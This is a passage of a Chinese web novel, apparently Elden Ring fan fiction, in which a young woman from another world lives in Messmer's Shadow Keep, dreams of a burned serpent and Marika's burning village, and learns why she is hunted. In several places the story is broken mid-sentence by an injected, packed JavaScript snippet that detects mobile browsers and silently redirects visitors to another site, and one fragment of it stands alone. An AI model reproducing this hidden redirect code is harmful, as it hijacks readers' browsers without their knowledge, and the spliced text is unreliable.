面对足以将她一口吞下去的可怕巨蛇,她本来应该第一时间掉头就跑。当那条眼盲的巨蛇朝她露出獠牙,张口发出威胁的嘶鸣时,出于不知名的原因,她没有后退。 吸引她现身的不止是在黑暗中摇曳燃烧的火光。在变成蛇类的嘶鸣之前,她分明听见了熟悉的声音。 因为过于压抑,过于痛苦,和白日里的冷淡倦怠截然不同,所以一开始显得有些陌生,但若凝神细听那啜泣般的颤音—— 结果,出现在她面前的不是苍白瘦削的男人,而是血肉模糊的巨蛇。 它拱起脊背,身躯紧绷,露出荆棘般交错的利齿。 暗红色的口腔内壁,舌头的部位遍布着张开的眼睛,看起来既古怪又邪异。 她站在原地,它在距离她极近的地方停了下来,似乎没料到她会是这种反应。 血肉被烧焦的难闻气味扑面而来,那丑陋可怖的巨蛇朝她哑声嘶鸣,发出威胁,似乎想把她吓走。 ……原来是一条色厉内荏的蛇。 她鬼使神差般地伸出手,摸了一下巨蛇的下颌。 仿佛从来没有被人如此触碰过,它一下缩了回去,巨大的身影盘蜷在一起,像收起的弹簧一样,姿势凝固在进攻前的状态上。 一人一蛇对望片刻,它似乎暂时不打算再次靠近。趁此机会,她走到那火光前。 暗红色的烈焰熊熊燃烧着,仿佛永不会熄灭的篝火。那火焰色泽很特别,不是鲜艳明亮的橘红或赤红,而是一种更加阴森浓郁的颜色,如同静脉的血液。她只见过一次,却留下了毕生难忘的印象。 周围的黑暗被热浪化开,空气如波浪变化起伏。她没能仔细观察太久,因为蜷伏在旁的巨蛇忽然用尾巴将她卷到一边,将她远远带离了那燃烧的火焰。 它用的是最细的一截尾巴尖,圈在她腰上依然比麻绳还粗。它再次朝她发出可怕的嘶鸣,仿佛想让她吸取教训,但她已经知道了它只是条色厉内荏的蛇,因此还有余裕伸出手摸摸它勉强还算完好的皮肤。 找到这么一块好皮可不容易,她小心翼翼地摸了摸那块坚硬光滑的蛇鳞,问它:“你不喜欢火?” 野兽对火焰似乎都有种天然的惧怕。但这条蛇不同,它之前那就算遍体鳞伤也要继续扑灭火种的举动,与其说是出自恐惧,不如说是出自一种刻骨的憎恨。 “你以前被烧伤过吗?” 它没有拒绝她的触碰,但巨大的身躯依然紧绷绷的,圈在她腰上的尾巴尖也紧绷绷的。 不止是口腔内部,原来它身体上也有很多眼睛。那些眼睛有着橙红色的虹膜,漆黑的竖瞳,仿佛不需要眨眼般,直勾勾地盯着她。 奇怪的是,它身上各处的血肉都被烧焦得不成样子,那些眼睛却好像没有受到影响。 她将手盖到一只眼睛上。移开、再盖上。那眼睛一眨不眨。 “你是用这些眼睛视物的吗?” 它没有回答。 它是一条巨蛇,无法口吐人言,只会发出沙哑难听的嘶鸣。 “你是怎么到这里来的?这是你的梦,还是我的梦?” 她嘀嘀咕咕着,那被火烧焦的巨大身躯,似乎慢慢地放松下来。 “你的家在哪里呀?”她摸着它的鳞片,觉得它虽然长相吓人了一点,性格古怪了一点,倒意外是个好听众。 见她似乎没有再往火焰那边靠的打算,它也没有之前那般焦灼紧张。但那截最细的尾巴尖,依然卷在她腰上。 “我可能迷路了,暂时找不到回家的路了,你也是吗?” “……” 她靠到它身上,它依然不理她,但任由她靠着。巨大的蛇躯像一座小小的山,靠上去意外有安全感,就连周围空荡得没有边际的黑暗也没有之前那么渗人了。 “在你的家乡,有很多像你这样的蛇吗?” “……” “希望你能找到回家的路。在这之前,把自己弄得遍体鳞伤可不行。” 她迟疑片刻,轻声道:“我觉得那火焰并不讨厌。” 虽然只见过一次,但那铺天盖地的火光,当时在她眼中无比美丽。 “我很喜欢。” 掌下的蛇鳞似乎颤了一下。她抬起头,以为自己碰到它伤口了,但它扭过头,只用背影对着她。 “……抱歉,摸疼你了吗?” 她收回手,卷在她腰上的尾巴尖紧了紧。 她重新伸出手,试探性地摸了摸尚且还算完整的蛇鳞。蛇尾巴放松下来,松松地缠在她腰上。 “……” 她悟了:是继续摸的意思。 也许在黑暗中待了太久,它已经许久没有见到别的生物。也许是知道她毫无威胁,她的冒犯对它来说勉强能够忍受。 它好像已经很久没有被抚摸过了,原来蛇也会有皮肤饥渴症。 梦境毫无规则可言,那巨大的蛇躯缓慢放松,最后不知怎的变成了普通蟒蛇的大小,将脑袋枕在她的膝盖上。 只是梦罢了。所以不论什么出格的举动都被允许。 只是梦罢了。所以不再忍耐也没有关系。 她抚摸着怀里的蛇,它将尾巴在她身上缠了好几圈。 被烧焦的伤口一定很疼吧,但蛇是擅长忍耐疼痛的生物,蛇是无法张口述说自己痛苦的生物。 它将脑袋抵在她怀里,如同靠在火堆余烬边的蛇,拼命汲取不会烫伤自己的暖意。 她记得自己明明趴在泥板上睡着了,从黑暗的梦境中醒来时,却发现自己不知何时回到了床帐内。 床帐内光线昏暗,身体依然残留着被蛇缠绕的触感。突然回到现实,不知怎的居然让她觉得有些空落落的。 时间尚早,她望着头顶高高的天花板。她只占据了床榻很小的一角,一定是这个缘故才觉得周围空空荡荡。 黎明时分,幽影城雾气厚重,高高的塔楼就像笼罩在云海里一样。世界如同灰色的默片,透不进什么光来。她发了许久的呆,裹着被子翻了个身,忽地听见床帐外传来一道熟悉的声音: “温戈说他会在物种保藏库等你。” 阴冷平滑,缺乏情绪起伏的语调,好似和平时没有什么不同。 但梅瑟莫的出现并不寻常。 她下意识看向床帐上映出的身影。一时间两人都没有说话,寂静如清晨的雾气无声弥漫。她张了张口,终于寻回自己的声音,小声地说了一句“知道了。” 不知是不是她的错觉,那个高大的轮廓在她帐外停留的时间有些久。 但等她在侍女的帮助下洗漱完毕,来到觐见厅,想和他打声招呼时,希德却告诉她梅瑟莫今天要处理城内事宜,已经到会议厅去了。 ……觉得对方好像微妙地避开了自己,一定是她的错觉。 没错,是错觉。 她今天还要继续上课,很快便将这个小插曲抛到脑后。温戈答应了上午教她基础的词汇和语法,下午带她熟悉幽影城的地形。这几天她已经逛完了物种保 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12912633|135293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 藏库,接下来可以解锁新地图去教区了。 教区位于幽影城的东北方,和庄严厚重的物种保藏库不同,尖尖的塔顶和飞扶壁颇具哥特式建筑的特征。在她的脑海里,她已经描绘出拥有玻璃彩窗的大教堂,见到了富丽堂皇的礼拜堂。 她见到了教堂的废墟。潮湿的浓雾扑面而来,她仿佛置身于沿海的古老城镇,曾经辉煌过的建筑群如今只剩下昔日的轮廓,到处都是断壁残垣和光秃秃的树枝。 这里曾经种了很多树,中庭的树尤其巨大,留下的躯壳如同巨型的黑色蜘蛛,枝桠向四周延伸。 尖顶的教堂确实宏伟华丽,但内部的墙壁爬满了青苔,鎏金的器具摆设散落在地,腐朽的柜门敞着嘴巴,湿冷的空气萦绕着一股霉味。 她好像隐约明白,温戈提出要带她去教区逛逛时,希德为什么会摆出不赞同的姿态了。 “……昆兰。”在温戈出声前,她都没发现地面上原来还躺着一个人。 是的,那个背对着她侧躺在教堂地面上的,是一个成年男人的身影。他的穿着和火焰骑士相似,但没有戴着黄金打造的面具,亦没有披着猩红色的斗篷。 那个男人以婴儿蜷在母腹里一般的姿态躺在地面上,不断呢喃着奇怪的话语。 “……玛莉卡大人,吾等之母啊,求您垂怜,赐福于我,千万别带走那光芒……啊啊!玛莉卡大人,吾等之母啊,我不是秽物,绝对不会冒犯您。请不要带走那光芒……啊……啊啊,玛莉卡大人,吾等之母啊……” “昆兰。” 躺在教堂地面上的男人毫无反应,如果凑近观察的话,会发现男人似乎在蜷着身子哭泣。 温戈不再多言,转而用闲聊天气的口吻跟她说:“我们改日再来拜访。” 她没有多问。 她总觉得那是不应该让她看到的景象。如果她蜷在地上以泪洗面,肯定不希望同事好友看到自己如此狼狈的姿态。但温戈似乎对此习以为常,就像天气有阴天和晴天一样,他们今日只是不凑巧碰上了阴天罢了。 即将离开教区时,废墟中忽然传来一声响。她转过头时,正好看到两个被荆棘覆盖的身影朝这边冲了过来。那尖锐的荆棘扎进他们的双目,刺入他们的胸膛四肢,如同某种诡异的酷刑,将看不出原本颜色的衣裳染得血红一片。 那些身影好像没有痛觉,裹着满身的荆棘朝这边冲了过来。但他们只往前奔了几步,就被猩红的烈焰击中,滚烫的火焰瞬间轰燃,她隐约听见温戈说了一声“失礼了”,再回过神来时,那两人已经变成了形状扭曲的焦炭,噗通一声倒了下来。 从袭击的开始到结束,整个过程不到几秒。慢温戈一步的希德从旁边的楼梯上跃下来,看着地面上的两具尸体一言不发。 “我们回去吧,莱拉大人,这里没什么好看的。”温戈的声音依然笑呵呵的,从始至终都没有任何变化。 地面上的尸体突然动了动。那个被烧成焦炭的东西扯了扯嘴角,用沙哑的声音笑道:“……我们都被抛弃了……” “我们都……都被……” 他的声音随着希德抽出利刃的动作戛然而止,教区重归寂静。 真奇怪,她心想,火焰骑士那一动不动伫立在尸体旁的模样,看起来几乎有几分哀悼的意味。 她强迫自己收回视线,跟上温戈的步伐。 “那两个人……是谁?” 只剩废墟的教堂被浓雾笼罩,曾经富丽堂皇的建筑,如今只剩爬满岁月痕迹的白骨。 温戈笑了一声,他总是戴着面具,永远让人看不清神情。 “深陷绝望之人罢了。” 7.07 城外墓园的方向传来了丧钟的声音。 低压的穹幕昏暗欲雨,枯黄的野草在风中簌簌。苍凉厚重的钟声于天地间回荡,在空荡荡的荒野上传得极远。 那两个被荆棘缠绕的焦尸得到了妥帖的安葬。对此,幽影城内无人有异议,亦无人表现出任何情绪波动。 一切都在沉默中进行。葬仪肃穆,身着铠甲的士兵和骑士远远望去就像一列黑色的幽灵。留守城内的士兵不发一言,厚重的头盔遮去了所有神情。丧钟声响起时,那些身影依然如雕像般静默无声,如早已死去的人一般对外界毫无反应。 所有人好像都已对此习以为常。 酝酿许久的大雨终于落下来,灰暗的苍穹仿佛被撕开一道巨大的裂口,雨水倾盆而下。 雨声哗然,如注大雨浇得人睁不开眼睛。从塔楼的露台向外望去,世界被灰蒙蒙的雨雾笼罩,所有事物都在雨中溶成一片,不辨轮廓。 外面的世界被水淹没,室内烛火昏暗摇曳。她听见火焰骑士向梅瑟莫进言,教区年久失修的排水系统肯定经不住这般考验,待雨势渐小,应着紧安排人手修缮维护。 她想起了蜷在教堂地面上的身影。如今教区有被雨水淹没的危险,也不知道对方有没有安全撤离。 “玛莉卡大人,吾等之母啊……”那低低啜泣的声音不知为何在脑内徘徊不去。 “求您垂怜,赐福与我……我不是秽物,绝不会冒犯您……” 啊啊,玛莉卡大人。 玛莉卡大人。 她枕着这个名字睡去,喧嚣的雨声渐渐隐入黑暗。 ……玛莉卡。 ——「玛莉卡!」 她睁开眼睛,被明亮的光线一刺,下意识想要抬手遮挡,然后便看见了漫山遍野、随风摇曳的野花。 柔和的微风吹起了裙摆,阳光照耀在身上无比暖和。不远处,古朴的石头建筑错落有致,树木枝繁叶茂,看起来只是再平凡不过的一个小村庄。 身体和视野都不受控制,她环顾四周,听见这个身体的主人无奈地叹了口气。 「祭典马上就要开始了,玛莉卡。」 依然没有回应。 但是,片刻后,背后的树丛中传来小动物般窸窸窣窣的声音。这个身体的主人停下脚步,用谆谆善诱的声音道:「在外面疯跑一天了,让姨母给你梳梳头,好不好?」 树丛停止摇动,一个小姑娘的声音闷闷地传了出来:「要梳辫子。」 「好,梳辫子。」 「花环呢?」 「姨母给玛莉卡编花环。」 闻言,小姑娘兴高采烈地蹦出来,扑上来抱住这个身体的腰。 「最喜欢姨母了!」 「姨母也最喜欢玛莉卡了,来,跟姨母回去梳头。」 被花海包围的村庄,居民都是女性。见到回村的小姑娘,大家都松了口气,然后一窝蜂地涌过来,熟练地拍掉她衣裙上的土屑,从那金灿灿的头发中摘下碎叶和枯枝。 「快,祖母还在等着你呢。」 苍老的身影坐在村子北面的大树下。那张脸饱经岁月风霜,皮肤粗糙如树皮,但眼角眉梢尽是柔和的笑意。 「小玛莉卡来啦。」 「小玛莉卡不小了。」 「是呢,是呢,是祖母老眼昏花,这是谁家美丽的姑娘啊,让祖母好好瞧瞧。」 苍老的身影抬起手,头顶的树枝也仿佛跟着弯了下来,树影温柔地落到小姑娘稚嫩的脸庞上。 「今年的祭典由你献舞,你准备好了?」 问答的过程中,小姑娘窝在姨母怀里,任对方给自己梳头。那幼小的身影就像被抚摸的猫一样,时不时从喉咙里发出舒服的咕噜咕噜声。 女人白皙的手指十分灵巧,很快便梳好了金色的发辫,然后又从旁折下几枝色彩明丽的花,编入那金灿灿的发丝。 「姨母。」 「怎么了?」 「母亲会给玛莉卡编头发吗?」 「当然。」 「母亲会喜欢玛莉卡吗?」 「当然。」女人停下手中的动作,然后摸了摸小姑娘柔软的脸颊。 「我们一族子嗣艰难,明知如此,你的母亲依然坚持要将你生下来,这都是因为她爱你呀。」 小姑娘抬起头,她的眼睛和发色一样,是纯粹美丽的金色。 女人声音和缓:「你的母亲没有离开,她成了神树的一部分,会一直守望着你。」 「祖母也是?」 苍老的身影坐在大树下,闻言,眼尾笑意加深:「祖母也是。」 「我们都不会离开你,玛莉卡,我们会和这棵神树一样,一直与你同在。」 一直。 金色的阳光透过叶隙照下来,如同被切割的钻石,闪耀着美丽的光芒。 画面在此时微微一闪,过于久远的记忆有了片刻的扭曲。视野边缘被黑斑啃噬,她眨了眨眼,再次回过神来时,白昼被黑夜吞噬,世界已然陷落火海。 燃烧的树冠像猩红的尖刺穿透了夜空。祖母垂着头坐在焦黑的树干下,下半身不见踪影,徒留蜿蜒一路的血迹。 村民惨叫着四处奔逃,小姑娘不知何时变成了少女,金色的发辫散乱开来,白皙的面庞被浓烟和污泥涂抹。村子的出口被围堵,她被姨母推进储物室,缭乱的火光透过门缝像鲜血一样渗进来。 女人没能跑太远,那些粗暴的身影扯住她的长发,将她像牲畜一样按到地上。 「……确定这是巫者的村落?」 「确认还不简单吗?你看——」 戴着角饰头盔的身影手起刀落,随着一声惨叫,一截白生生的手臂掉落在地。 「就算斩断手脚也不会立刻死去。哪怕截肢,据说也能重新接回去呢。」 周围的身影嗤嗤笑了起来。 其中一个身影开口:「那个老的怎么办?」 「年纪太大了,肉不够细嫩,维壶师大人们估计不会满意,死了就死了吧,反正剩下的材料也足够多了。」 血迹一路蜿蜒,村民们被绑起来,聚集到村子中心。失去手臂的女人跪坐不住,只能靠在同伴身上。 「确定没有漏网之鱼?」 为首的高大身影,说到这里时忽然看了一眼那些材料。 她们神情麻木地垂头不语,如同待宰的羔羊一般温顺静默。 那低沉的声音中忽然多出了一丝笑意:「放火烧了所有建筑。」 火势很快熊熊蔓延,从树木烧到建筑物上,又从建筑物蔓延到周围的花海。残酷的热浪滚滚而来,眼见着储物室也陷落火海,一直观察着事态的士兵突然动了,像嗅到血腥味的野兽一般蹿了出去。 不消片刻,那个身影就扛着拼命挣扎的金发少女回到了村子中心。 刚才还麻木乖顺的女人们突然发了疯,不顾一切地暴起朝周围的士兵发起攻击。 趁着这个机会,被士兵抗在肩头的金发少女从怀里掏出一把裁布的剪刀,恶狠狠地朝他头盔的缝隙刺了进去。 滚烫的血液迸射而出,溅到少女扭曲的面庞上。那双金色的眼瞳映入火光,亮得仿佛要燃烧起来,透出刻骨的恨意。 她拔出剪刀,扬起手,再次朝着那个士兵的颈动脉狠狠刺了下去。 金色的眼眸过于冷酷残忍,少女的面庞很快就被鲜血染红。周围的士兵似乎滞了一下。然而时间很快再次流动起来,反抗挣扎的女人们也都被相继按倒在地。 「跑啊——!」 那嗓音凄厉无比,嘶哑得仿佛能沁出血来。 「跑啊——玛莉卡!跑啊——!」 那些声音重叠在一起。无数双手朝少女抓去。 她们所有人的孩子。 她们唯一的孩子。 「玛莉卡——!」那绝望的声音过于悲恸,仿佛要撕裂人的心肺,将人的灵魂也一并扯碎。 「玛莉卡啊——!」 她从梦中惊醒时,外面的大雨仍未停歇。 雨声喧嚣,反而衬得满室寂静。她稍一侧头,就看见红色的带翼蛇凑得极近,吐着信子似乎想确认她的情况。 “……你睡得并不安稳。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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寝殿空空荡荡,她披上外衣,离开床榻,赤足踩着冰凉的石砖地面,来到烛火昏暗的觐见厅。 王座是空着的,梅瑟莫的身影同样无迹可寻。 她望向王座后的雕像,但因为距离有些远,雕像的面容隐匿在烛光无法触及的黑暗中。她走上高台侧面的台阶,绕到王座背后,来到那巨大的雕像底下。 和幽影城其他地方的雕像不同,这座雕像没有遭到破坏,面貌完整。 长裙曳地的女人闭着双目,表情慈祥地抱着怀里的婴儿。她戴着头冠,梳着长辫,拥抱那婴儿的动作显得无比温柔,闭着眼睛的模样仿佛在为自己的孩子祈祷。 她后退一步,想调整角度,将那雕像看得更加清楚。后退的过程中,她脚后跟撞到了王座的底部,不知触到了什么机关,周围的地面开始移动,回过神来时,已经露出通往下方的暗道。 暗道幽深,楼梯蜿蜒向下,看不到底。她愣了一下,然后绕回王座旁,在底部摸索一阵,找到似乎是机关的凸起,重新将暗道关上了。 做完这件事后,她还是感到有些愧疚,于是老老实实地找到希德,忏悔了自己的行径。 “对不起,我不是特意要打开暗道的。” 火焰骑士沉默许久,嘀嘀咕咕地自言自语“这个发展好像不太对。”再次面朝她开口时,语气不知怎的居然有点恨铁不成钢的意味:“莱拉大人就不好奇吗?” “好奇什么?” “好奇暗道通往何处。” “但既然是暗道,就应该不希望别人找到吧?” “……” 火焰骑士换了个语气,斟酌着措辞问她:“如果有一天,您发现了梅瑟莫大人不为人知的一面,您会介意吗?” 她愣了一下,诚实地说:“我觉得,这不是我介不介意的问题,而是他愿不愿意露给我看的问题。” “如果他不愿意的话,”她顿了顿,补充:“我会很努力地,不去发现的。” 就算察觉了什么,她也会装作什么都不知道的。 没有必要去揭露他人不愿意暴露出来的东西。所以对方想展现出来怎样的自己,以那个形象相处就好。 “莱拉大人……”希德好像想说什么,但又找不到适合的措辞。 “话说回来,你知道温戈在哪吗?” 火焰骑士犹豫了一下,问道:“您找他有什么事吗?” “我有一点事情想要请教他。”她说。 8.08 接连多日的暴雨将教区变成了一片汪洋。 雨势在夜色中依然浩大,雨水不断沿着幽影城外壁的蛇形滴水嘴兽飞流直下。宏伟阴森的教堂被水淹至半腰,要正常通行毫无疑问是异想天开。 通往教区的密道似乎已经很久没有人使用过了。窒闷的空气里弥漫着腐朽的霉味,她跟在希德身后,猩红色泽的火焰在火焰骑士手中燃起,化开了周围厚重的黑暗。 不知走了多久,火焰骑士抬起手,推开隐藏的门扉。 吱呀一声,灰尘从门缝里簌簌而落。 紧接着,浑身包裹着烈焰的人形生物迎面冲了过来。 她吓了一跳,但还没来得及跳起来,就听见希德语气平平地开口:“温戈大人。” 房间尽头传来熟悉的笑声,戴着人脸面具的老者漫不经心地挥了挥手。那燃烧的人形生物止住步伐,如同被看不见的丝线操纵着,沉默地在棺椁旁停了下来。 空荡荡的房间里摆着很多像这样的石质棺椁,棺椁表面雕刻着繁复的花纹,哪怕历经岁月磨损也依稀可见最初的面貌。 那些花纹描绘出枝繁叶茂的大树,勾勒出编织而成的圆环。还有火焰一般的波纹,永不熄灭地在冰冷的石棺上摇曳燃烧。 “让您见笑了,莱拉大人。”话虽这么说,温戈似乎对她的到访并不惊讶。戴着人脸面具的老者微微低头朝她行了一礼,语气始终不急不缓:“这不过是一些失败的实验品罢了。” 在她身侧的火焰骑士似是想说什么,却深感无力。那些无法说出口的话语,最后都化作了一声微不可察的叹息。 “……那么,”希德朝她颔首,“我会在外面等您。” 门关上了,但那被烈焰包裹的人形生物还停在棺椁旁,如同燃烧的灯芯,躯干枯瘦焦黑,火焰却滚烫明亮。 寂静如夜色合拢,她在原地伫立片刻。 “……失败品是什么意思?” 温戈笑呵呵地回答:“没有灵魂的尸体,就算复活了也无济于事。” 面具后,他的目光扫过那些厚重冰冷的石棺。不知回忆起了什么,老者的语气变得有些怀念,声音也轻了起来。 “幽影城并非一直如此破败凋敝。在漫长的岁月中,我们已经失去了太多战友。” 他抚上身侧的棺椁,慢慢摩挲着那粗粝的质感。不远处,燃烧的身影静静伫立在原地。 “圣战持续了太长时间,死伤不计其数,但也有不少人在舍弃信仰后被绝望吞没,以丑陋可悲的方式结束了自己的性命。” 温戈笑了一声,再次抬头朝她看来。 “您也看到了,这个教堂光辉不再,这正是人们的信仰变得黯淡的证明。” 屋外雨声喧嚣,世界在黑暗中被水淹没。那燃烧的人影模样如同从地狱里爬出的恶鬼,但因为没有灵魂,所以就算遭烈火焚烧也不会发出惨叫。 “你们的信仰是什么?” 在话语出口的瞬间,她心中已经有了答案。 温戈将手放到左胸口上。 “黄金树就是吾等的信仰,而玛莉卡大人则是吾等的神明、吾等的母亲。”声音微顿,他笑呵呵地补充,“至少,参与圣战的人一开始都是这么坚信的。” 戴着人脸面具的老者好像已经猜到了她此行的目的,也知道她想问什么。 “如今的世代是黄金树王朝的世代。吾等奉玛莉卡大人的命令前往幽影地,除灭一切和黄金树律法相悖的污秽之物——这正是圣战的起源。” “负责带领圣战的梅瑟莫大人,则是玛莉卡之子。” 那一刻,她想到了觐见厅内的雕像,在漫长的岁月中矗立在梅瑟莫的王座背后。梳着长辫的女人抱着怀里的孩子,眉眼充满慈爱,比起威严的神明和统治者,更像一位普通的母亲。 “……圣战,”她听见自己说,“还没结束吗?” “尚未,莱拉大人。” 温戈低声说:“尚未。” 时间已经过去多久了? 久到最虔诚的信仰也无法阻止人们慢慢堕入绝望。 ——「我们被抛弃了。」 她垂下眼帘,看着脚下的石砖。虽然石砖已经开裂,和幽影城内部的地面一样,这里的石砖地也描绘着梅瑟莫的军徽,描绘着那美丽的火焰和金环。 “玛莉卡……大人。”她望着那美丽的,像花环一样的纹路。“曾经也差点被那些人抓住吗?” 她没有直接点明「那些人」是谁。但戴着人脸面具的老者,气息在那一刻微微起了变化。 他微笑着开口:“莱拉大人为什么会觉得玛莉卡大人有这种经历?” “因为我做了梦。”她说,“梦里那些人也出现了。他们在屠村的过程中抓了很多人,包括……玛莉卡大人的族人。” 戴着面具的老者静默许久。燃烧的人影转头朝她看来,黑黝枯瘦的脸显得无比可怕。 “莱拉大人,过度的诚实可不是一种美德。”温戈慢慢道,“如果我心怀歹念,您现在已经性命堪忧。” “……我以为你至少会质疑一下我的说辞。” 温戈呵呵笑道:“莱拉大人,您是否在说谎,我一眼就能看得出来,旁人也是如此。” “……” “我得给您的课程加一项了,不学会说谎可不行,这是生存的基础技能。” 她怀疑温戈在转移话题。 “我想知道那些人是谁,又为何要……”她的声音卡了一下。 “要对你下手?” 她点了下头。 两人无声对视许久,戴着面具的老者叹了口气。 “因为你是稀人,莱拉大人。” “那些伤害过你的人,包括那些维壶师,都来自名为角人的种族。他们狩猎稀人,是因为稀人的血肉易于和他人融合,而角人的信仰极其痴迷于生命融合的过程和产物。” “至于稀人是什么,说实话,大部分人都对此知之甚少。”温戈的顿了顿,继续道:“稀人是来自异世的种族,长寿,但子嗣稀薄。” 她颤了一下,倏然抬起眼帘。 “是的,莱拉大人,从见到您的第一眼起,我们就知道你不是属于此世之人。你对这个世界毫无概念,连梅瑟莫大人的名讳都未曾听闻,而生长于幽影地的人不可能缺乏这种常识。” 大脑一片空白,寂静仿佛在脑内嗡嗡作响。她张了张口,一时间无数思绪纷飞而过,最后涌到嘴边的却只是一句: “……来到此世的稀人,”她能听得出自己嗓音发颤,“……有成功找到回去道路的吗?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079317|135293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 在等待答案的过程中,她无意识屏住呼吸。 戴着面具的老者注视她许久,然后摇了摇头。 ——雨停的那一日,幽影城上空出现了波澜壮阔的火烧云。 她从没见过那样的景象:天空仿佛成了众神的战场,巨大的云层如流火燃烧,瑰丽耀目的赤金铺天盖地。 她对城垣站岗的士兵说:快看,是火烧云。 她对守在塔楼门口的库德说:看呐,多么美丽的夕阳。 但是无人能理解她的赞叹。 对于他们来说,那是他们见过一千次,一万次的景象,早已失去动人心魄的魅力。 希德用担忧关切的语气问她怎么了。 快看呐!她说,是夕阳! 晚上睡觉的时候,她依然在回味那波澜壮阔的景象,但回味着,回味着,湿漉漉的东西沿着鼻梁滑落下来,浸湿了她脸侧的床单。 第二天的时候,她没有起床。 她告诉过自己,要在这个世界好好活下去。她会努力学习知识,努力战胜自己的胆怯和软弱。 但她心底始终存有希望,认为自己能找到回家的办法。 床帐外,她知道希德来了一趟,那两个黑色的幽灵侍女也惴惴不安地等了她很久。 消失好多天的梅瑟莫出现,但他也只是在床帐外站了一会儿,就默然无声地离开了。 梦里那绝望愤怒、满怀悲伤和憎恨的东西又找上她了。这一次她没有理会对方,也没有被拽入不属于自己的记忆。 「走啊——!」她对那东西说。 「不要再来找我!」 也不要把你的悲伤和憎恨塞给我了。 「走啊——!」她在黑暗中大喊。 不管是什么都好,不要再来找她了。 「走开——!」 她只想在自己的悲伤里缩成小小的一团,不管是谁都不予理会。 于是那东西离开了。 她在空无一人的黑暗里哭得停不下来。 ——怎么了,莱拉大人? 她想家。 她想家了。 醒来后,她仍然不想动弹。她躺在床帐里,时间仍是深夜。她不想看到任何光源,于是侍女们熄灭了烛火,任空荡荡的寝室被黑暗笼罩。 但是今晚好像有一点不一样,床帐的一角被微弱的光芒照亮。她微微抬起眼帘,下意识望向那光芒的源头。 有人在床帐外放了什么东西。 室内静悄悄的,没有旁人的存在,梅瑟莫的身影无迹可寻。她犹豫许久,也许是已经哭累了,她分开床帐,慢慢坐了起来。 一束蔚蓝色的花靠在床边,在夜色中散发着雾蒙蒙的微光。 蓝色的花瓣小巧地簇拥在一起,光芒柔和似夏夜的萤火。 明明只是一束花而已。 她捧起那束花端详时,吧嗒一声,湿漉漉的露珠沿着花瓣滚落。 到底是哪个笨拙的人啊,她想。 在她的家乡可没有这么美丽的花。 这么美丽的……花。 她低头将那束花抱到怀里。 ——明明只是一束花而已。 但她却不可思议地从中获得了某种慰藉。 小小的,温柔的慰藉。 9.09 黑色的幽灵侍女给她准备了异常丰盛的早餐。除了平时常见的面包、乳酪、橄榄、无花果,还包括一大碗麦粥和一碟不知道用什么调料腌制成的螃蟹卵。 那些螃蟹卵粒粒晶莹,色泽橙黄,几乎有鹌鹑蛋那么大。 黑色的灵体边缘闪烁着微光,她从那些幽灵侍女的身上感受到了近似于期待的情绪。 她小心翼翼地尝了一口螃蟹卵,那东西口感柔滑,咬破后溢出鲜甜的香气。咽下去后,奇妙的暖意沿着胃部升起,很快就让人暖和了起来,精力也恢复不少。 她告诉那些侍女,今天的早餐很好吃,黑色的幽灵们顿时变得闪闪发亮。 出门的时候,希德和平时一样,在塔楼外等着她。 高高瘦瘦的火焰骑士清了清嗓子,用十分生疏的语气说:“今天天气不错。” 她看了一眼天空。 今天是阴天。 希德说她今天会开始学习历史与地理,授课的老师是名为萨赞的火焰骑士。此人有贤者之名,在学术造诣上颇受人敬仰,物种保藏库据说最初也是他的提议。 两人来到物种保藏库的七楼。铺着地毯的阅读室里不止有火焰骑士的存在,同样还有梅瑟莫的身影。 在希德带着她出现之前,两人似乎正在交谈。听到脚步声,金色的竖瞳朝她的方向望来。 身着盔甲和斗篷的男人立在壁炉旁,哪怕他脊背微弯,身体前倾,也依然比那雕花的大理石壁炉高出许多。 壁炉里的火焰无声摇曳,在那苍白瘦削的面庞上勾勒出光影的分界线。 梅瑟莫是阴郁凌厉的长相,俊美的五官因为常年阴沉的神情而透出不近人情的冰冷意味,初见时给人的印象就像危险的蛇。 但是蛇也分性格。 红色的带翼蛇用脑袋拱了拱她,冰凉光滑的鳞片蹭过她的脸颊。 梅瑟莫微不可察地蹙了蹙眉,带翼蛇表情无辜,像围脖一样圈在她肩膀上。 “……回来。”他压低嗓音。 带翼蛇窝着没动,表情更加无辜,甚至还朝梅瑟莫吐了一下信子。 “……” 这种时候她应该说什么? ——很抱歉,我真的不是有意要勾引你的蛇?是它们自己先凑上来的? 似乎不满足于圈在她肩膀上,红色的带翼蛇昂起脑袋,像安慰幼崽的母兽一样,将下巴抵到她的发顶。黑色的小翅膀垂下来,正好能遮住她部分手臂,从旁人的视角看起来就像一个虚虚的拥抱。 出声的是立在书桌后火焰骑士。 “差不多该开始授课了。”萨赞的嗓音异常沙哑,喉咙仿佛被火烧过。和斗篷相连的兜帽完全遮住了他的神情面貌,兜帽用猩红色的布料包裹了一层又一层,看上去就像一个巨大的后脑勺。 闻言,带翼蛇终于恋恋不舍地从她身上下来。 梅瑟莫表情阴沉,带翼蛇视若无睹。 “请原谅它们这次的失礼。” “噢。”她小声说,“其实我并不介意。” 抬眼时,她和梅瑟莫对上视线。 两人对视的时间可能有点长,因为旁边的萨赞突然咳嗽了一声。 候在门边的希德说:“萨赞大人,我这就去给您倒杯茶来。” 